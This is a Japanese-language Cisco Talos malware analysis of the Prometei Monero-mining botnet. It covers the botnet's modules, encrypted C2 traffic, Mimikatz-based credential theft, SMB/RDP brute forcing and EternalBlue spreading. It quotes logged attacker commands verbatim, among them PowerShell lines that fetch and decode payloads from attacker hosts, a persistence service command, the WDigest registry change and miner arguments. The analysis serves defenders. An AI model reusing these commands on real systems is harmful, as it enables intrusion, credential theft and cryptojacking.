ニュースの概要
- 大規模なランサムウェア攻撃や巨額の身代金などが頻繁にニュースの見出しを飾る中、隠密に利益を得ようとする攻撃者もいます。
- Cisco Talos は最近、暗号通貨マイニングのボットネット攻撃「Prometei」を発見しました。セイバーセキュリティ専門家であれば簡単に発見できるものの、エンドユーザには気付きにくい手口が使用されています。
- この攻撃では MITRE ATT&CK フレームワークの手口が複数見受けられます。使われている手口は、T1089(セキュリティツールの無効化)、T1105(リモートファイルのコピー)、T1027(難読化されたファイルまたは情報)、T1086(PowerShell)、T1035(サービスの実行)、T1036(マスカレード)、T1090(接続プロキシ)などです。
攻撃者は次々と新しい手口を生み出して、金銭的利益をもぎ取ろうとしています。Cisco Talos は最近、複数の方法で拡散するマルチモジュール型のボットネットと、オンライン通貨 Monero をマイニングして攻撃者に金銭的利益をもたらすペイロードを組み合わせた、複雑なキャンペーンを発見しました。ボットネットの拡散には、盗み出したログイン情報と SMB、PsExec、WMI、SMB エクスプロイトを併用するなど、さまざまな方法が使われています。また、Monero のマイニングに参加するシステムの数を増やせるよう、巧妙に設計された複数のツールを使用しています。
最新情報
Prometei の活動について報じるのは本稿が初めてと思われますが、活動が確認されたのは今年 3 月で、あらゆるモジュールが繰り返し改良されてきました。
仕組み
感染の最初には、メインのボットネットファイルが、すでに感染した他のシステムから SMB 経由で複製されます。SMB への侵入には、改変された Mimikatz モジュールや EternalBlue などのエクスプロイトによって取得したパスワードが使われます。攻撃者は SMBGhost など、SMB の最新の脆弱性も熟知していますが、このエクスプロイトが使用された形跡は今のところ確認されていません。
ボットネットには 15 を超える実行可能モジュールがあり、そのすべてをメインモジュールがダウンロードして実行します。メインモジュールは HTTP 経由でコマンド & コントロール(C2)サーバと常時通信します。暗号化されたデータの送信には RC4 暗号化が使用され、C2 サーバとのキーの共有には非対称暗号化が使用されます。
Prometei は環境全体への拡散を狙う一方で、管理者パスワードの復元も試みます。パスワードが検出されると C2 サーバに送信され、他のモジュールによって再利用されます。これら他のモジュールは、SMB および RDP プロトコルを使用して、取得したパスワードが他のシステムでも有効か検証を試みます。
影響
防御側は警戒を怠らず、ネットワーク内のシステムの動作を常に監視する必要があります。攻撃者は水のように、わずかな亀裂を見つけて侵入を試みます。最も重要なインフラや資産の保護が最優先ですが、インフラを狙っていない脅威も無視してはなりません。
技術概要
背景
このボットネットは、Cisco AMP for Endpoints のインストールベースから Talos に送信されるテレメトリ情報を調査した際に発見されました。Talos は定期的に調査を実施し、新たなマルウェアの検出に取り組んでいます。調査にあたっては、まずルールとコマンドラインを確認することが重要です。
最初に発見した以下のコマンドラインは、PowerShell で実行されます。
powershell.exe "if(-not (Test-Path 'C:\windows\dell\miwalk.exe')) {$b64=$(New-Object Net.WebClient).DownloadString('http://69.84.240[.]57:180/miwalk.txt');$data=[System.Convert]::FromBase64String($b64);$bt=New-Object Byte[]($data.Length);[int]$j=0;FOR([int]$i=0;$i -lt $data.Length; $i++){$j+=66;$bt[$i]=(((($data[$i]) -bXOR (($i*3) -band 0xFF))-$j) -band 0xFF);}[io.file]::WriteAllBytes('C:\windows\dell\miwalk.exe',$bt);}"
次に、プロセスの親子関係のグラフをたどって親モジュールである svchost.exe を調べたところ、通常のパスである <Windows\System32> フォルダではなく、C:\Windows 直下で実行されていました。
C:\Windows\svchost.exe のイベントとダウンロードされた IP アドレスを詳細に確認すると、さらに目を引く呼び出しを発見しました。分かりやすくするために、ここでは個々のコマンドに分けて示しています。
C:\Windows\System32\cmd.exe /C taskkill -f -im rdpcIip.exe del C:\windows\dell\rdpcIip.exe powershell.exe if(-not (Test-Path 'C:\windows\dell\miwalk.exe')) {$b64=$(New-Object Net.WebClient).DownloadString('http://69.84.240[.]57:180/miwalk.txt');$data=[System.Convert]::FromBase64String($b64);$bt=New-Object Byte[]($data.Length);[int]$j=0;FOR([int]$i=0;$i -lt $data.Length; $i++){$j+=66;$bt[$i]=(((($data[$i]) -bXOR (($i*3) -band 0xFF))-$j) -band 0xFF);}[io.file]::WriteAllBytes('C:\windows\dell\miwalk.exe',$bt);} powershell.exe if(-not (Test-Path 'C:\windows\dell\rdpcIip.exe')) {$b64=$(New-Object Net.WebClient).DownloadString('http://69.84.240[.]57:180/walker14364.php');$data=[System.Convert]::FromBase64String($b64);$bt=New-Object Byte[]($data.Length);[int]$j=0;FOR([int]$i=0;$i -lt $data.Length; $i++){$j+=66;$bt[$i]=(((($data[$i]) -bXOR (($i*3) -band 0xFF))-$j) -band 0xFF);}[io.file]::WriteAllBytes('C:\windows\dell\rdpcIip.exe',$bt);} C:\Windows\svchost.exe /sha1chk 58899ed72b617c7e89455d55f5663f44d7eb24d8 C:\windows\dell\miwalk.exe C:\Windows\svchost.exe /sha1chk e5ffb2a8ceb70e7280fb5ac9f8acac389ed0181e C:\windows\dell\rdpcIip.exe C:\windows\dell\rdpcIip.exe ADMINISTRADOR Cohersa2019
すぐに分かるとおり、svchost には複数の機能があります。svchost は追加のコンポーネントをダウンロードする PowerShell 呼び出しの親プロセスであり、このプロセス自体も /sha1chk オプションを付けて実行されます。これは、ダウンロードしたモジュールの整合性を検証する機能も備えている可能性を示唆しています。
2 つのモジュールがダウンロードされ、そのうちの 1 つ、rdpcIip,exe が起動されます。ファイル名は Windows の正規の実行可能ファイルである rdpclip.exe に見せかけています。最後に、管理者のログイン情報と思われる 2 つの引数を指定して rdpcIip が起動されます。
2 か月以上にわたってこのボットネットのアクティビティを追跡したところ、15 を超えるモジュールが 2 つのメインブランチ(機能ブランチ)に分かれていることが判明しました。いずれのブランチも独立して機能することから、別の攻撃者がこのボットネットの主要な機能に便乗して独自のモジュールの拡散を図っている可能性も考えられます。
1 つ目のブランチ(RdpcIip)は C++ で記述されています。特殊なタイプの難読化を施すことで、動的な自動分析システムによる分析と検出を回避しています。このブランチのメインモジュールである svchost、miwalk、rdpcIip、SearchIndexer が連携して動作するように設計されていることは明らかです。
Prometei(Prometheus)ボットネットの 2 つのメインブランチ
2 つ目のブランチ(Nvstub)も同じダウンロードサーバを介して配信され、メインボットである svchost.exe によってダウンロードされます。したがって、作成者は同一人物である可能性が高いと考えられます。ただし、Nvstub ブランチの主な目的は SMB / RDP プロトコル経由のブルートフォース攻撃によりユーザ名とパスワードの組み合わせを特定することです。.NET フレームワークと無料ツール、改変したオープンソースソフトウェアを組み合わせて開発されています。
Nvstub ブランチのメインモジュールである nvsync.exe は独自の C2 サーバと通信します。暗号通貨のマイニングを目的としているとも考えられますが、その証拠は見つかっていません。
ボットネットモジュールのメインブランチ
では、ボットネットモジュールのメインブランチについて見ていきましょう。独立して機能し、暗号通貨 Monero をマイニングするため、「メイン」ブランチと呼ぶことにします。メインブランチには、C2 サーバと通信して横方向に拡散し、ユーザのログイン情報を窃取して Monero をマイニングするモジュールが含まれています。ボットネットのメインブランチのすべてのモジュールは 64 版アプリケーションですが、今回の調査ではメインモジュールの 32 ビット版も発見されています。
また、メインブランチには TOR や I2P ネットワークを介してプロキシ通信を行う補助モジュールもあります。補助モジュールは、システムで実行中のプロセスに関して情報を収集し、標的システムのオープンポートを列挙したりするほか、ファイルシステムにアクセスして、引数としてモジュールに渡すファイル名(ビットコインの暗号通貨ウォレットのファイル名など)を検索します。
ボットネットのメインモジュール:svchost.exe
メインモジュールは svchost.exe という名前で Windows フォルダ直下にインストールされ、「xsvc.exe」および「zsvc.exe」というモジュール名で横方向に拡散されます。これらのモジュールは、PowerShell で up.exe を実行して更新する際にダウンロードされます。
メインボットネットのインストールと永続化
すべてのバージョンのボットが UPX で圧縮されています。おそらく、サイズを小さくすることが目的ですが、初期のバージョンにも難読化レイヤがあります。これは、メモリ内の残りのコードを復号し、元のエントリポイントにジャンプするシンプルな XOR 難読化ツールと考えられます。
初期のボットで使用されている、シンプルな難読化ツールを使用したエントリポイントのコード
最近のバージョンでは、適切に解凍する必要がある外部ファイルが存在する場合に、別の圧縮方法が使用されています。この圧縮方法は、メインのボットモジュールと改変した Mimikatz の実行可能ファイル(miwalk.exe)で使用されています。後者はシステムメモリからユーザのログイン情報を取得するために使用されます。メインボットである svchost.exe は「C:\Windows\mscordata.dll」ファイルの有無をチェックします。
メインボットと Mimikatz モジュールで使用されているカスタムの圧縮方法
この分析回避手法は手動分析を困難にするだけでなく、Cisco Threat Grid などの動的な自動分析システムによる検出も回避します。実行が開始されると、UPX の解凍後に 2 つの機能が実行されます。まず、「PaiAuganMai Diag Utility – Setup」という文字列を含むテキストファイル「c:\windows\temp\setup_gitlog.txt」を作成し、Google の DNS サーバ 8.8.8.8 に対して ping を実行します。次に、sysinfo.exe コマンドを実行して、両方のコマンドの出力を C:\Windows\Temp\sysinfo.txt ファイルに保存します。
この機能を実行するサンプルが複数見つかっています。この挙動による検知率はあまり高くありません。
外部ファイルが存在する場合はファイルを開いて 1 バイトを読み取り、最終的にメインボットネットのコードを復号します。復号には Cpuid 命令も使用されます。当初は、仮想環境でボットが実行されないように VM 回避手法が使用されているものと考えられましたが、そうではありませんでした。Cpuid 命令は、復号プロセスで使用される一部のフラグを取得する目的でのみ使用されています。
ボットがファイルから 1 バイトを読み取り、実行フローを制御している例
1 バイトしか使用されないため、復号化変数(64 ビットコードではレジスタ r14d)の 1 つの初期化に使用する値は 255 個に過ぎません。解凍するにはいくつかの方法がありますが、最も簡単なのはレジスタの内容を総当たり方式で探る(復号化を試みる)ことです。これは、外部スクリプトを使用するか、デバッガを自動化することで実行できます。今回は Talos で次の簡単な x64dbg スクリプトを作成したところ、必要な値が数分で見つかりました。
$j=0 start: initdbg "c:\windows\zsvc.exe" //initialize the debugger with the file to be analysed cmp $pid,0 //successful initialization? je start bp 141092418 // set breakpoint to main and continue erun // we hit the entry point erun // we hit the main function bp 14108f441 //if this breakpoint is hit then success!! bp 14108f0f9 //if this breakpoint is hit set r14d to the counter $j and increment the counter bp 14108f331 //we failed go back to the beginning erun //continue cmp rip, 14108f0f9 //time to initialise r14d? jne checkfail //if not have we failed and reached decoy code? r14d=$j log {d:r14d} //log the current counter value $j = $j + 1 cmp $j,255 je end erun checkfail: cmp rip, 14108f331 //are we in the decoy code, if yes restart debugging jne checksuccess goto start checksuccess: cmp rip,14108f441 //Success!!! We found the value we need. End. jne start end: pause
メインボットのコードを解凍するための x64dbg スクリプト
デバッグと難読化の解除には多少時間がかかったものの、メインボットの C++ コードに到達しました。ここまで来ればメインの機能を見つけることはそう難しくありません。
ボットはまず C:\windows\dell フォルダを作成し、UPlugPlay サービスの開始を試みます。このサービスが正常に開始された場合は、すでにボットが存在します。サービスが開始されない場合は、ボットを複製して永続化メカニズムを設定する必要があると判断します。
zsvc.exe は C:\Windows\svchost.exe に複製され、UPlugPlay サービスをセットアップします。これはコマンドラインのログにも記録されます。セットアップが完了するとサービスが開始され、C2 サーバに接続します。
cmd.exe /C sc create UPlugPlay binPath= C:\Windows\svchost.exe Dcomsvc type=own DisplayName=UPlug-and-Play Host start=auto error=ignore
コマンドラインのログに記録されている UPlugPlay サービスの作成
C2 サーバとの通信は HTTP 経由で行われ、ログにも記録されます。ただしコマンドとコマンドの結果は RC4 暗号化を使用して転送されます。キーはクライアントコンピュータで生成され、レジストリ値 HKLM\SOFTWARE\Microsoft\Fax\MachineKeyId および HKLM\SOFTWARE\Microsoft\Fax\Encrypted\MachineKeyId に保存されます。
RC4 キーは enckey 変数を Base64 でエンコードした文字列として HTTP 経由で共有されます。これには、ボットのデータセクションに保存されている C2 サーバの公開キーを使用した非対称暗号化が使用されます。
http://bk1.bitspiritfun2[.]net/cgi-bin/prometei.cgi?add=b64encodedmachineinfo&h=SERVIDOR&i=1Z2NJQOUX1A3A8CD&enckey=OnIHYtpU-UAsq3eQKyeV/AQIKQO4GY0dxCkXtEFYKJB36MtI/YAux37Gk7MbDoyucmnrkC5D5ptZN-t103EFrjm0gbiODeP19McSLiMJ-EVXNtPgQkXxP6CTAW7-eVRyvLcYoJW-VkvM3sNfgUyEgqBKVDmrmavuZUcEOhs/b8E_
ボットネットとその暗号化キーにサーバを追加している最初の例
HTTP フォーム変数「add」には、ドメイン名、モデル、プロセッサの種類など、感染したマシンに関する情報が含まれ、Base64 でエンコードされています。たとえば以下の情報が含まれます。
info { machine name domain.local 2x Intel(R) Xeon(R) CPU 3040 @ 1.86GHz 4Gb HP ML110 G4 ProLiant ML110 G4 10.0.14393 Serial number 20/07/2007 }
C2 サーバのボットネットデータベースに追加されたマシン情報の info ブロック
ホストがボットネットに追加されると、メインボットはコマンド & コントロール サーバから取得した無限ループポーリングコマンドを入力します。これはリモートアクセス型のトロイの木馬やボットでは非常に一般的です。感染したシステムを攻撃者が制御できるように、一般的なコマンドのハンドラがあります。
以下のいずれかのコマンドの実行が想定されています。
- run:ShellExecute API を使用してプログラム/ファイルを実行します。
- exec:CreateProcess API を使用してプログラムを実行します。
- srun:パスが存在するかどうかをチェックした後、SHA1 を計算し、CreateProcess を使用して実行します。
- cmdt:コマンドシェルを起動し、stdin と stdout を HTTP 経由でパイプにリダイレクトします。
- cmd:コマンドシェルを起動し、stdin と stdout を HTTP 経由でパイプにリダイレクトします。
- scmd:1 つのコマンドを実行します。
- ver:ボットのバージョンを取得します。
- extip:ボットの外部 IP アドレスを取得します。
- enc:RC4 暗号化キーを取得/設定します。
- updatev3:更新されたボットをexe にダウンロードし、プロセスを開始した後、ファイルを削除します。うまくいかない場合は直ちにプロセスを終了します。
- set_timeout:C2 サーバに接続する期間を設定します。
- set_cc:新しい C2 サーバを設定します。
- touch:ファイルを開き、1 バイトを書き込んでチェックサムとアクセス時間を変更します。
- wget:ファイルをダウンロードします。
- xwget:ファイルをダウンロードして保存した後に開き、1 バイトの XOR を使用して XOR 難読化を実行します。最初のキーが 0x42 で、各バイトに 0x42 を追加します。
- stop_mining:exe /C taskkill -f -im SearchIndexer.exe を呼び出して、マイニングプロセスを終了します。終了できない場合は taskkill を呼び出すスレッドを起動します。
- start_mining1:C:\windows\dell\Desktop.dat を読み取ってパラメータを取得し、exe を起動します。
- start_mining:C2 サーバからtxt を要求して Desktop.dat に保存した後、Desktop.dat から読み取ったパラメータを使用してマイナーを起動します。
- quit:TerminateProcess を使用してボットを終了します。
- quit2:TerminateProcess を呼び出さずにコマンドハンドラループを終了します。
- getinfo:WMI WQL クエリやその他の方法を使用して、感染したシステムに関する情報を取得します。
C2 サーバとの通信は HTTP、TOR、または I2P プロキシ経由で直接行われます。今回の分析で見つかったのは C:\windows\dell\msdtc.exe ファイルのみです。このファイルの主目的は TOR 経由で C2 サーバ https://gb7ni5rgeexdcncj[.]onion/cgi-bin/prometei.cgi に要求を中継することです。他にも、C:\windows\dell\msdtc2.exe が存在する可能性があります。これは I2P ネットワーク経由で要求をルーティングします。
ボットネットのメインモジュールは単独でもリモートアクセス型のトロイの木馬として機能しますが、攻撃者の主目的は Monero をマイニングし、Mimikatz で窃取したパスワードで保護されている可能性のあるビットコインウォレットを盗むことです。
メインボットモジュールによってダウンロードされるモジュールは、他にも存在します。テレメトリで最初に検出されたアクティビティは、こうしたダウンロードでした。
調査の結果、2 つの主要な C2 サーバ(bk1.bitspiritfun2[.]net および p1.feefreepool[.]net)が見つかりました。前者のサーバは 6 月 8 日まで有効でしたが、その後 IP アドレスが Amazon 社が所有する 75.2.37[.]224 に変更されています。サーバから「403 Forbidden」が返された場合、ボットネットのテイクオーバー(乗っ取り)が成功した可能性があります。以前使用されていた 2 つの IP アドレスはドイツとフランスでホストされていました。
Cisco Umbrella で確認された bk1.bitspiritfun2.net の DNS クエリアクティビティ
後者のサーバの IP アドレスは 88.198.246[.]242 です。Hetzner 社が所有していて、ドイツでホストされています。
Cisco Umbrella で確認された p1.feefreepool.net の DNS クエリアクティビティ
C2 サーバへの要求は多数の国から送信されていますが、大部分は米国、ブラジル、トルコ、パキスタン、中国、メキシコ、チリのシステムに由来します。
ダウンロードサーバ 103.11.244[.]221 は香港で、208.66.132[.]3、69.28.95[.]50、69.84.240[.]57 は米国でホストされています。
スプレッダ(rdpcIip.exe)とパスワードスティーラ(miwalk.exe)
次に注目すべきモジュールは、SMB を経由した横方向の拡散を可能にします。rdpcIip.exe は miwalk.exe と連動します。wmain 関数はまず、ログイン情報ファイル C:\windows\dell\ssldata2.dll と、古いログイン情報の保存に使用される C:\windows\dell\ssldata2_old.dll をチェックします。
次に、スプレッダがレジストリ値を変更します。
レジストリキー HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest\UseLogonCredential を 1 に設定すると、ログイン情報がメモリに保存され、パスワードスティーラが使用する手口を用いて取得できるようになります。
その後、スプレッダは Mimikatz の改変版である miwalk.exe を起動します。このモジュールはパスワードを窃取して ssldata2.dll に保存します。パスワードの窃取に成功すると、スプレッダがログイン情報ファイルを解析し、IPv4 アドレスマッピングテーブルを取得してローカル ネットワーク インターフェイスの IP アドレスを抽出します。抽出された IP アドレスは C:\windows\dell\net.txt ファイルに保存されます。
スプレッダは net_<ip_address_of_the_interface>.txt に保存されているネットワークで反復処理を実行し、ネットワーク内のシステムへの拡散を図ります。同じことがすべてのインターフェイスで繰り返されます。スプレッダは盗んだログイン情報や、パスワードを設定していないゲストアカウントを使用して SMB セッションの確立と認証を試み、メインボットモジュールを xsvc.exe または zsvc.exe として標的システムにコピーします。
メインボットモジュールのコピーに成功すると、スプレッダは PsExec または WMI を使用して、コピーしたモジュールをリモートで起動します。
窃取したログイン情報を使用した攻撃が成功しなかった場合、スプレッダはリモート オペレーティング システムのバージョンに応じて EternalBlue エクスプロイトの亜種を起動します。その後、シェルコードを送信してメインボットモジュールをインストールし、起動します。
Monero マイニングペイロード(XMRig)
メインの機能ブランチが使う最後のペイロードは、オープンソースの Monero マイニングソフトウェアである XMRig(バージョン 5.5.3)のサンプルです。マイナーの名前は SearchIndexer.exe で、C:\windows\dell フォルダにあります。XMRig ペイロードはメインボットモジュールによってダウンロードされます。
C:\Windows\System32\cmd.exe /C powershell.exe if(-not (Test-Path 'C:\windows\dell\Desktop.dat')) { (New-Object Net.WebClient).DownloadFile('http://208.66.132[.]3:8080/Desktop.txt', 'C:\Windows\dell\Desktop.dat'); } if(-not (Test-Path 'C:\windows\dell\WinRing0x64.sys')) { $b64 = $(New-Object Net.WebClient).DownloadString('http://208.66.132[.]3:8080/dllr0.php'); $data = [System.Convert]::FromBase64String($b64); $bt = New-Object Byte[]($data.Length); FOR ([int]$ i = 0; $i -lt $data.Length; $i++){ $bt[$i] = ((($data[$i]+0xFE) -band 0xFF) -bXOR 255); } [io.file]::WriteAllBytes('C:\windows\dell\WinRing0x64.sys',$bt); } if(-not (Test-Path 'C:\windows\dell\SearchIndexer.exe')) { $b64=$(New-Object Net.WebClient).DownloadString('http://208.66.132[.]3:8080/srchindx2.php'); $data=[System.Convert]::FromBase64String($b64); $bt=New-Object Byte[]($data.Length); [int]$j=0; FOR([int]$i=0;$i -lt $data.Length; $i++){ $j+=66;$bt[$i]=(((($data[$i]) -bXOR (($i*3) -band 0xFF))-$j) -band 0xFF); } [io.file]::WriteAllBytes('C:\windows\dell\SearchIndexer.exe',$bt); } taskkill -f -im taskmgr.exe C:\Windows\svchost.exe /sha1chk fcd80a03388f0f73a8718d18291590b77ac10dd2 C:\windows\dell\SearchIndexer.exe
コマンドラインのログに記録されている XMRig マイナーのダウンロードと整合性チェック
マイナーは UPX で圧縮された後、実行可能ファイルに新しい PE セクション(.ucode)を追加する比較的シンプルな XOR 圧縮が行われます。これは、メインボットモジュールの以前のバージョンの圧縮方法に似ています。
C2 サーバが start_mining コマンドを発行すると、メインボットモジュールである svchost.exe によってマイナーが呼び出されます。svchost はコマンドラインのパラメータ(マイニングサーバ、マイナーのユーザ名、パスワード、マイニングに使用されるプロトコルなど)を C2 サーバから取得します。マイナーが起動すると、感染したシステムのコマンドラインのログに記録されます。
C:\windows\dell\SearchIndexer.exe -o stratum+tcp://srv1.feefreepool[.]net:80 -u 4A1txQ9L8h8NqF4EtGsZDP5vRN3yTVKynbkyP1jvCiDajNLPepPbBdrbaqBu8fCTcFEFdCtgbeSsTf17B1MhyE2AKCEyfR -p x --donate-level 1
ここに示しているアカウントを MoneroHash.com で検索したところ、ボットネットのハッシュレートは一貫して 700 ~ 950 KH/秒という結果が得られます。このことから、感染したシステムの数は少なく、数千であることがわかります。このボットネットの収益性は比較的低く、4 か月間で得られたのはわずか 5,000 米ドル(1 か月あたり平均 1,250 ドル)未満でした。
2020 年 7 月 8 日の Monero マイニングボットネットの収益
これは、CryptoCompare.com で利用できる Monero マイニング計算ツールの計算結果と一致しています。
ボットネットの収益性を示す Monero 暗号通貨マイニング計算ツール
1 か月あたりの収益が 1,250 ドルなので、一部の他のサイバー犯罪活動と比べればたいした金額ではないように思われますが、東ヨーロッパの個人の開発者にとってみれば、一般的な月収を超える額です。
ボットネットのコンポーネントのプログラム データベース ファイルに埋め込まれたパスを見てみると、その多くで以下のとおり C:\Work フォルダが参照されています。攻撃者にとっては生計を立てる手段なのでしょう。
C:\Work\Tools_2019\misc\tor_hidden_svc\darkread\x64\Release\darkread.pdb C:\Work\Tools_2019\prometei\RDPBrute2016.NET\RDPDetect\bin\Release\CryptoObfuscator_Output\nvsync.pdb C:\Work\Tools_2019\prometei\nvstub\Release\nvstub.pdb C:\Work\Tools_2019\prometei\psbrute\Release\psbrute.pdb C:\Work\Tools_2019\walker\netwalker\x64\Release\rdpcIip.pdb C:\Work\Tools_2019\misc\util\chk445\Release\chk445.pdb C:\Work\Tools_2019\misc\util\crawler\Release\crawler.pdb
その他の補助モジュール
4 つのメインモジュール以外に、ボットネットには C2 サーバからのコマンドでダウンロードされ、実行される 7 つの補助モジュールが含まれています。
crawler.exe は、パラメータとして指定されたファイル名をローカルファイルシステムで検索するシンプルなファイルシステムクローラです。このモジュールのアクティビティは低く、用途から推測すると、感染したシステムでビットコインウォレットを見つけることが攻撃者の狙いだと思われます。
chk445.exe は、標的システムでポート 445 が開いているかどうかをチェックするシンプルなツールです。ztasklist.exe は実行中のすべてのプロセスを列挙するツールです。
smcard.exe と msdtc.exe は TOR を介して C2 サーバと通信します。smcard.exe は、感染したシステムを TOR ネットワークに接続し、localhost ポート 9050 で SOCKS プロキシを開始する TOR リレーです。msdtc.exe はメインボットモジュールによって実行されるプロキシクライアントです。コマンドラインのパラメータは Base64 でエンコードしただけの URL と、C2 サーバ gb7ni5rgeexdcncj.onion への要求です。この要求は TOR ネットワーク経由でルーティングされます。
Nvstub ブランチ
このボットネットの 2 つ目のブランチである「Nvstub」は独自の機能を持ち、別の C2 サーバと通信します。
svchost はまず、いくつかのファイルを削除してから 7-Zip アーカイブのダウンロードに必要な実行可能ファイルのダウンロードを試行します。このアーカイブの中に Nvstub ブランチのすべてのコンポーネントが含まれています。7-Zip アーカイブはダウンロード済みの 7z.exe ユーティリティによって展開されます。Nvstub アーカイブ(_agent.7z) はパスワード「horhor123」で保護されています。C:\windows\dell フォルダにエージェントが展開されると、ボットネットのメインモジュールは Nvstub ブランチの最初のモジュールである nvstub.exe を起動します。コマンドラインのパラメータは 1 つで、C2 サーバの IP アドレスとそのパスワードが含まれています。
C:\Windows\System32\cmd.exe /C taskkill -f -im SearchIndexer.exe del C:\Windows\dell\_agent.7z taskkill -f -im nvsync.exe del C:\windows\dell\nvsync.exe del C:\windows\dell\ps.exe taskkill -f -im socks.exe del C:\windows\dell\socks.exe del C:\windows\dell\nvsync2.exe del C:\windows\dell\nvsync4.exe del C:\windows\dell\winpr2.dll del C:\windows\dell\freerdp2.dll del C:\windows\dell\freerdp-client2.dll del C:\windows\dell\nvstub.exe del C:\Windows\dell\_agent.7z powershell.exe if(-not (Test-Path 'C:\windows\dell\7z.dll')) {(New-Object Net.WebClient).DownloadFile('http://208.66.132[.]3:8080/7z.dll', 'C:\Windows\dell\7z.dll');} if(-not (Test-Path 'C:\windows\dell\7z.exe')) {(New-Object Net.WebClient).DownloadFile('http://208.66.132[.]3:8080/7z.exe', 'C:\Windows\dell\7z.exe');} (New-Object Net.WebClient).DownloadFile('http://208.66.132[.]3:8080/_agent.7z', 'C:\Windows\dell\_agent.7z'); C:\Windows\svchost.exe /sha1chk 48bcecd5d3f293cdc8356aee5ec4bab3252493fb C:\windows\dell\7z.exe C:\Windows\svchost.exe /sha1chk 98a5ee5d689d664a14bb9a680c6e4fec5e752842 C:\windows\dell\7z.dll C:\Windows\svchost.exe /sha1chk c42ab26ad284d52aefa2d40b7f4bf9a95109a5ff C:\windows\dell\_agent.7z C:\windows\dell\7z x C:\Windows\dell\_agent.7z -phorhor123 -oC:\Windows\dell -y del C:\Windows\dell\_agent.7z del C:\windows\dell\SearchIndexer.exe C:\Windows\dell\nvstub.exe 211.23.16[.]239/prometheus.php_x1
コマンドラインのログに記録されている Nvstub ブランチのインストールと起動
nvstub.exe は他のモジュールの環境設定に使用するシンプルなモジュールです。2 つ目のボット、nvsync.exe が最も重要です。_agent.7z アーカイブには、このボットの亜種(nvsync2.exe および nvsync4.exe)が含まれています。nvstub.exe はまず、システムにインストールされている .NET フレームワークのバージョンをチェックし、次に、3 つのメインブランチモジュール(nvsync.exe、ps.exe、socks.exe)の終了を試みます。その後、適切なバージョンの nvsync を nvsync.exe にコピーし、自身の引数から転送された引数を使用して起動します。
1 つ目のモジュール Nvstub が他のモジュールの環境設定を行う
nvsync
ほとんどのボットネットモジュールは C または C++ で記述されていますが、攻撃者は Nvstub ブランチのメインボットモジュールである nvsync のプログラミング環境として .NET フレームワークと C# を選んでいます。モジュールは CryptoObfuscator プロテクタで難読化されていますが、de4dot を使用すれば簡単に対処できます。
難読化を解除した nvsync.exe コードの一部(分かりやすくするために機能名を変更)
nvsync.exe モジュールが起動すると、コマンドライン引数を解析します。その後、ボットを初期化して C2 サーバに接続するか、プロセスの配列を作成します。この数は、感染したシステムの計算能力によって異なります。各プロセスは nvsync.exe の別のインスタンスを起動します。これらのインスタンスはパラメータに基づいて、SMB または RDP クライアント経由で C2 サーバから提供された IP アドレス一覧に対してログイン情報の有効性をチェックします。
Nvstub ブランチの C2 サーバで唯一確認された URL は https://211.23.16[.]239/prometheus.php で、ホスト元は台湾です。
子プロセスのパラメータは、まず RC4 で暗号化され、次に Base64 でエンコードされます。子プロセスのパラメータの暗号化に使用されている RC4 のパスフレーズ「param error user」は、ハードコードされている Base64 エンコード文字列「T9FLs3QS45JuVnTAljDz4Q==」と初期パスフレーズ「Data param error」から復号されます。
この暗号化は、IP アドレス、ドメイン名、ユーザ名、パスワードを含む子プロセスが疑わしい呼び出しとして特定されることを避けるために使用されていると考えられます。
CyberChef インスタンスを使用したパスワードパラメータの RC4 復号
メインモジュールである nvsync.exe のほか、ボットネットが正しく機能するために不可欠な 2 つの重要なモジュールがあります。ps.exe と socks.exe で、どちらも 32 ビットアプリケーションです。
ログイン情報の検証モジュールを呼び出す前に、nvsync.exe はログイン情報をフィルタリングします。特定の文字列が含まれる場合は対象から外します。
これには次のようなものがあります。
- …
- IME_ADMIN
- IME_USER
- Plesk Administrator
- SvcCOPSSH
- WDeployAdmin
- Guest
- Гость
- ftpuser
- FTP User
- Altro utente
- Other User
- Другой пользователь
提供されたログイン情報に以下のいずれかの文字列が含まれている場合も、検証は試行されません。
- workgroup
- mshome
- win
- microsoft
- user
- admin
- administrator
- pc
- com
- buh
- local
- home
- corp
- office
- lan
- biz
- net
- org
- loc
- ru
- ua
- tr
- server
- serv
- srv
ps.exe
1 つ目のモジュールは NTLM 認証プロトコルを使用して TCP ポート 445 へのログオンを試みます。接続が成功すると標的 IP アドレスのログイン情報の有効性が確認されます。このログイン情報は C2 サーバで nvsync.exe モジュールによって確認済みとされます。
接続の試行と提供されたログイン情報の検証を示すパケットのキャプチャ
ps.exe と rdpcIip.exe のコードにはいくつかの類似点があります。主に NTLM セキュリティ サポート プロバイダーとの SMB 通信と認証のレベルが「Low」である点です。
socks.exe
socks.exe の RDP 通信機能は、オープンソースと無料の RDP クライアントライブラリ(freerdp2.dll および freerdp-client.dll)に依存しています。このアプリケーションはまず、ホストの IP アドレスとポート、ファイル名(拡張子なし)、標的システムへのログインを試行するためのログイン情報を含むパラメータを処理します。ここで提供されるファイル名は、標的システムの ip_address:port の RC4 暗号化の組み合わせを Base64 でエンコードすることによって生成されます。
socks.exe はパスワードの候補をリストしたファイル(拡張子は「.cpass」)を解析し、コマンドライン引数として提供されたドメインと管理者のユーザ名の組み合わせを使用して RDP サーバへのログインを試みます。成功したログイン情報(ドメインと管理者のユーザ名)は、パスワードの候補をリストしたファイルと同じ名前で拡張子を .cpass_good としたファイルに保存されます。
socks.exe が終了し、プロセスが nvsync.exe に戻ると、nvsync は検証されたすべてのログイン情報を読み取り、コマンド & コントロールサーバに送信します。
Nvstub ブランチの補助モジュール
Nvstub ブランチの補助モジュールはすべて、ブランチの動作をサポートする正規の実行可能ファイルまたはライブラリです。7z.exe は、Nvstub ブランチのすべてのモジュールを含む _agent.7z アーカイブからファイルを展開するために使用される 7-Zip の解凍ソフトです。Zlib.dll は 7z.exe の依存ファイルです。FreeRDP の 2 つの DLL(freerdp2.dll および freerdp-client2.dll)は RDP 通信を成功させるために必要ですが、正規版の FreeRDP をインストールした場合もこれらの DLL が含まれます。
まとめ
アクティビティがログに記録されているにもかかわらず、一部のボットネットは調査チームの監視の目をかいくぐっています。これは、その規模が小さいことや、攻撃者がたゆまず開発を続けているためと考えられます。Prometei は Monero マイニングに特化した、この種のボットネットの 1 つに過ぎません。シスコが追跡してきた 3 カ月間、Prometei は計算能力を一定に保つことに成功しています。
3 月初旬に活動を開始し、6 月 8 日に C2 サーバの 1 つが乗っ取られて一撃を食らったようですが、このテイクオーバーでマイニング機能や窃取されたログイン情報の検証が阻止されることはありませんでした。このボットネットは、1 人の開発者(東ヨーロッパを拠点とする可能性が高い)にそこそこの利益を出し続けています。
